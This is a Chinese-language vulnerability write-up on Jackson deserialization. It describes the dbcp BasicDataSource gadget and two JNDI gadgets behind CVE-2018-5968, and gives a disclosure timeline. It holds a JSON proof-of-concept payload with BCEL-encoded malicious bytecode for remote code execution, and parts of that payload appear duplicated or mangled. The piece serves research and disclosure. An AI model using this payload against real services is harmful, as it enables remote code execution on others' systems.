Jackson dbcp gadget以及CVE-2018-5968

作者:隐形人真忙

作者博客:http://blog.csdn.net/u011721501/article/details/79257709

0x00 Overview

历史上Jackson的反序列化漏洞以及绕过主要是CVE-2017-7525 和 CVE-2017-17485。而针对反序列化漏洞的防护,jackson主要采用了黑名单机制,通过限制反序列化的类名称来进行防护。黑名单列表在com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator类中:

本文主要介绍dbcp这个有趣的gadget(目前已经失效),以及新发现的CVE-2018-5968,涉及到两个gadgets绕过jackson黑名单进行RCE。

0x01 Dbcp Gadget

这里我不得不先介绍一下dbcp这个gadget,在CVE-2017-7525时,官方并没有添加到黑名单中,而是从CVE-2017-17485爆出后才加入list。该Gadget是利用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource,该类在tomcat-dbcp.jar中。当时jackson首次爆出漏洞后,很多人的目光投向了TemplatesImpl这个Gadget,但是这个Gadget的利用受到了JDK版本的限制,导致在JDK 8下不是很好用。当时我也提到了这个Gadget:

然而,市面上并没有针对这个Gadget利用的POC,这里我给出一下:

{
"@class":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName":"org.apache.log4j.spi
BCEL
BCEL
$l$8b$I$A$A$A$A$A$A$A$a5UmS$TW$U$7e$ae$J$ec$b2n$V$a3$88$bc$94Bk5$60$60$Jo$K$BDR$a1$d8$E$u$d8$b4$a9$b5$edes$83$8b$9b$dd$ccfW$d3_$e4W$fd$920e$a6$fd$d8$99$fe$Kg$fa$3f$da$9e$bbYD$qc$9d$v3$dc$bb$f7$dcs$9f$fb$9cs$9es$f3$e7$df$bf$fe$G$m$NW$c1w$MK$fc$X7pJ$c6$B7$9f$d6$5c$c7$Q$f5$aa$edZ$bea$ba$95$K$t$bb$_$wU$9b$fb$c2$c8$92$c1u$b2$z$f3$D$fe$8c$af$K$ee$u$883t$l$d0$ca$b0$b9$b3ol$ed$j$I$d3g$e8$5c$b4$i$cb_f$88$rG$L$M$f1$ac$5b$S$gb$e8$d2$d1$81N$86$8b9$cb$R$9bAeOx$P$f9$9e$z$Y$S9$d7$e4v$81$7b$96$5cG$c6$b8$ff$c4$aa1$dc$cd$fd$_$92$Z$GM$d4$85$Z$f8$o$5b$v1$dcH$e6N$Y$ef$fa$9e$e5$ecgF$cf$9a4$5c$c2e$F$J$86K$t$7b$3b$81$e3$5b$V$a1$e3$Kz$Iv_$f8$91$85$a1$t$f96Hd$OQzu$5cC$l$85$pY0$dc$fc$8f$fb$b7$3d$d7$U$b5ZF$c1$A$c3$d5$d0n$b9$c6jP
$LO$94v$E$$JO$c1$c7$M$7d$c7$7b$hN5$f0$JI$f0Jk$5b$c3$t$YQ0$7c$8a$7b$84$ab$e3S$7c$c6p$81$b8$bfu$8e$a1$f7$98$ffi$40$8a$60$Q$9f$cb$ba$dd$60$b8$96l$eb2Z$d0$d0$8f$a4t$ge$b8$7c$e2$d4bC$fb$wn1$40$c18$dd$f3n$f0$ab$81e$87$9c$N$a4$VL$9e$ST$cbC$c7$U$a6$Z$94g$dc$O$c4V$f9$9d$S$b6D$d7$be$84$v$ccJVs$b2$3cm$b2$5e$90$kwt$ccc$81D$cb$abU$e1$90$40$c6$3fH$m$R$ed$8c$8aE$G$a6I$a4e$jw$b1$c2$a0$fan$cb$87$e1J$b2$z$af$7e$ac$ea$c8$86$be$94$c1$92l$HY$b3$fb$3a$d6$b0N$91$3e$e7$96$bf$e6za$Dm$a8$d8$m$nDb$l$8e$a4$3c$5c$e6$96$zJ$K$be$a2$8c$9f$dcp$bfn$8a$aao$b9$O$j5$a5$da$Tg$af$t$fcjK$Lt$b4$8d$f0$u$V$5eX8$wx$ae$bd$fe2$b29E$9dZ$3dn$Tw$86
$LO$94v$E$$JO$c1$c7$M$7d$c7$7b$hN5$f0$JI$f0Jk$5b$c3$t$YQ0$7c$8a$7b$84$ab$e3S$7c$c6p$81$b8$bfu$8e$a1$f7$98$ffi$40$8a$60$Q$9f$cb$ba$dd$60$b8$96l$eb2Z$d0$d0$8f$a4t$ge$b8$7c$e2$d4bC$fb$wn1$40$c18$dd$f3n$f0$ab$81e$87$9c$N$a4$VL$9e$ST$cbC$c7$U$a6$Z$94g$dc$O$c4V$f9$9d$S$b6D$d7$be$84$v$ccJVs$b2$3cm$b2$5e$90$kwt$ccc$81D$cb$abU$e1$90$40$c6$3fH$m$R$ed$8c$8aE$G$a6I$a4e$jw$b1$c2$a0$fan$cb$87$e1J$b2$z$af$7e$ac$ea$c8$86$be$94$c1$92l$HY$b3$fb$3a$d6$b0N$91$3e$e7$96$bf$e6za$Dm$a8$d8$m$nDb$l$8e$a4$3c$5c$e6$96$zJ$K$be$a2$8c$9f$dcp$bfn$8a$aao$b9$O$j5$a5$da$Tg$af$t$fcjK$Lt$b4$8d$f0$u$V$5eX8$wx$ae$bd$fe2$b29E$9dZ$3dn$Tw$86
Q$b7$fc$82$ac$P$r$83$e8j$bbn$e0$99b$cd$92$7d$dc$df$b6$_$t$q4$c3$60$d9u$8d$ed$e7$8e$f0$d23$f3$e9$f9$f4$f4$f4$ec$ectzjn$e6$f6$e4$q$89a$u$f7$be$7d$e2$a1$$$9av$f4$da$a8$f4$84$98$T$94$m$V$8f$e8u$d3q$B$X5$3c$c6$8fD$e1Lk$be$c9$94$82$9f$8f$fb$ecTye$bc$K$f64$98$e8b8$bf$pj$81$ed$_$3cZYYQAA$a5$3eP$r$S$s$p$r$b6$_$91$9e0$M$q$b3$ef$f5$3b$90$7eO$e5$b0$ac$81c$W$p$a0bB$fe$c5$e8$8b$kP$g$VZ$Z4SW$a1c$ac$J$f5$V$7d$9c$83Fcgh$8c$e1$3c$8dz$cb$81$e6$o$cd$5d2$n$d1$e1$bfB$m$60$f7$Q$ddc$N$5c$cd$j$a1$bfx$84$c1$e2$ad$G$86$9a$b8$de$c4$cd$7cbl$93$z$c4_$60$f0$I$a9$e2$f8$n$s$9a$98$e9$8b7p$3b$91$a1$a1$81$a5$cdT$D$f7$8a$L$f1$3f$feyM$c7$be$98$eb$Y$7f$99O$7c$f92$bct$T$5bx$QQ$9a$o$C$f2z$95V$3a$R$eb$a5y$80$beF$f0$R$ae$T$a9$r$9a$d7$d1$8d$3c$bd$96$5bH$60$h$3d$n$fd$e5$WE$e4h$Htz$3dD$a5$Ub$86$7c$be$s$f4$n$fa$r$db$a1$dd$YaM$90g$kq$fa$3f$87$87$f8$86$CT$f1$fd$9bl$dd$a1$b5$ccb$ea$Fb$y$97$f8$e1$Q$3f$e5$8f$c0$vf$b3$d8D$vQn$c0$a2p$ac$ee$c7$N$d8$NT$9ap$7e$7f$Vf$9d$a1$Q$s$f7$db$7f$B$97bQ$5d$3c$H$A$A",
"driverClassLoader":
{
"@class":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"logWriter":null
}

其实看到poc,想必大家对这个触发方式很熟悉了,没有什么奇技淫巧,就是利用的setter方法进行的漏洞触发,具体是setLogWriter这个方法。

在setLogWrite中首先调用了createDataSource方法,继续跟进:

createDataSource方法调用了createConnectionFactory方法,跟进:

触发点就很明显了,就是Class.forName的时候。这里的driverClassName和driverClassLoader都是有setter方法的,所以我们直接可以从json串里传入。这里加载恶意字节码使用了Apache BCEL这个库,这个库主要用于字节码操作,并且已经嵌入到JDK源码中。漏洞触发的关键在于com.sun.org.apache.bcel.internal.util.ClassLoader这个classloader的loadClass方法,我们看一下是如何处理字节码的:

对于包含BCEL子串的类名,调用的是createClass方法进行还原:

因此driverClassName字段就使用BCEL将字节码编码为BCEL的形式即可,代码如下:

0x02 Bypass the blacklist

总结一下,Jackson中的Gadget触发无非这几种思路:

(1)构造函数中触发:这种限制比较多,需要默认构造函数。而且jackson中没有针对构造函数的自动发现机制,只支持一个参数的构造函数。CVE-2017-17485就是运用的这个特性。

(2)Setter中触发:目前公开的Gadget大多数使用的这种形式触发。这里不需要默认的构造函数,只需要设置类属性或者方法即可

(3) 其他形式触发:比如反序列化过程中有map操作,可以通过equals方法进行触发,这种就比较复杂,需要对源码很熟悉。

因此我们寻找Gadget的时候也要按照这几个思路来寻找,这里我主要关注了setter触发的方式,所以着重看了setter中的敏感JNDI操作。

这里我找出了两个新gadget,这两个gadget都可以绕过CVE-2017-17485之后的jackson反序列化防护机制,用于申请了CVE-2018-5968。

1.org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

触发过程如下:

(1)调用了setProperties方法

(2)该方法中对properties参数进行拆分,并将data_source属性直接作为lookup方法的参数

(3)触发RCE

相关代码如下:

2.org.hibernate.jmx.StatisticsService

触发过程如下:

(1)调用setSessionFactoryJNDIName

(2)(newInitialContext()).lookup()触发RCE

代码如下:

实际上,这个Gadget在pwntester的某个slide出现过。

0x03 Summary

基于黑名单机制的防护在任何场景都是很不完善的,是一种治标不治本的手段。因此,jackson-databind从3.X版本开始,会提供新的API接口和白名单机制来解决这个问题。而针对2.X版本,相信还是会有其他Gadgets,这个被发掘出来只是时间问题。

以下是CVE-2018-5968的timeline:

2018-1-17 发现两个可用于绕过黑名单的Gadget

2018-1-18 报告给官方,并开了issue提醒开发人员

2018-1-22 官方更新了黑名单进行了修复,并合入2.9.4版本

2018-1-22 MITRE给了对应的CVE编号

Reference

[1] https://github.com/javaExploit/jackson-rce-via-two-new-gadgets

[2] https://github.com/FasterXML/jackson-databind/issues/1899